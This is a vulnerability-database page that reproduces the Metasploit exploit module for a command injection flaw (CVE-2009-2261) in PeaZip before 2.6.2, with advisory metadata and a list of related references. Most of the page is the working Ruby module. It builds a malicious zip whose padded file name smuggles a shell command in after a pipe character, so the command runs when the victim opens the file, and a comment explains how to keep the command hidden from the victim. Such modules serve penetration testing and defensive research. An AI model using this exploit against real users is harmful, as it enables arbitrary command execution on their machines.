Lucene search
K

PeaZip Zip Processing Command Injection

🗓️ 10 Feb 2010 17:28:25Reported by pyrokinesis, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 30 Views

PeaZip Zip Processing Command Injection vulnerability in versions prior to 2.6.2 allows attackers to execute arbitrary commands by convincing a user to open a specially crafted zip file and access the file

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-2261
5 Jun 200900:00
circl
Check Point Advisories
PeaZip Compressed Filename Command Injection (CVE-2009-2261)
26 Sep 201700:00
checkpoint_advisories
CVE
CVE-2009-2261
30 Jun 200910:00
cve
Cvelist
CVE-2009-2261
30 Jun 200910:00
cvelist
Exploit DB
PeaZIP 2.6.1 - Zip Processing Command Injection (Metasploit)
20 Sep 201000:00
exploitdb
NVD
CVE-2009-2261
30 Jun 200910:30
nvd
OpenVAS
PeaZIP < 2.6.2 RCE Vulnerability - Windows
3 Jul 200900:00
openvas
OpenVAS
PeaZIP Remote Code Execution Vulnerability (Windows)
3 Jul 200900:00
openvas
Packet Storm
PeaZip <= 2.6.1 Zip Processing Command Injection
12 Feb 201000:00
packetstorm
Prion
Command injection
30 Jun 200910:30
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PeaZip Zip Processing Command Injection',
      'Description'    => %q{
          This module exploits a command injection vulnerability in PeaZip. All
        versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
        version 2.6.1 on Windows.

        In order for the command to be executed, an attacker must convince someone to
        open a specially crafted zip file with PeaZip, and access the specially file via
        double-clicking it. By doing so, an attacker can execute arbitrary commands
        as the victim user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'pyrokinesis', # Of Nine:Situations:Group
          'jduck'
        ],
      'References'     =>
        [
          [ 'CVE', '2009-2261' ],
          [ 'OSVDB', '54966' ],
          [ 'URL', 'http://peazip.sourceforge.net/' ],
          [ 'EDB', '8881' ]
        ],
      'Platform'       => %w{ linux unix win },
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        =>
        [
          ['Automatic', { }],
        ],
      'DisclosureDate' => '2009-06-05',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']),
      ])
  end


  def exploit

    # NOTE: using a command line containing / or \ will result in the command
    # being easily visible to the victim
    cmd = datastore['CMD']

    fname = "README.TXT"
    rest = "\"|#{cmd}|.txt"
    fname << " " * (255 - fname.length - rest.length)
    fname << rest

    content = rand_text_alphanumeric(rand(1024))

    zip = Rex::Zip::Archive.new
    zip.add_file(fname, content)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(zip.pack)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
1.1Low risk
Vulners AI Score1.1
CVSS 29.3
EPSS0.41422
30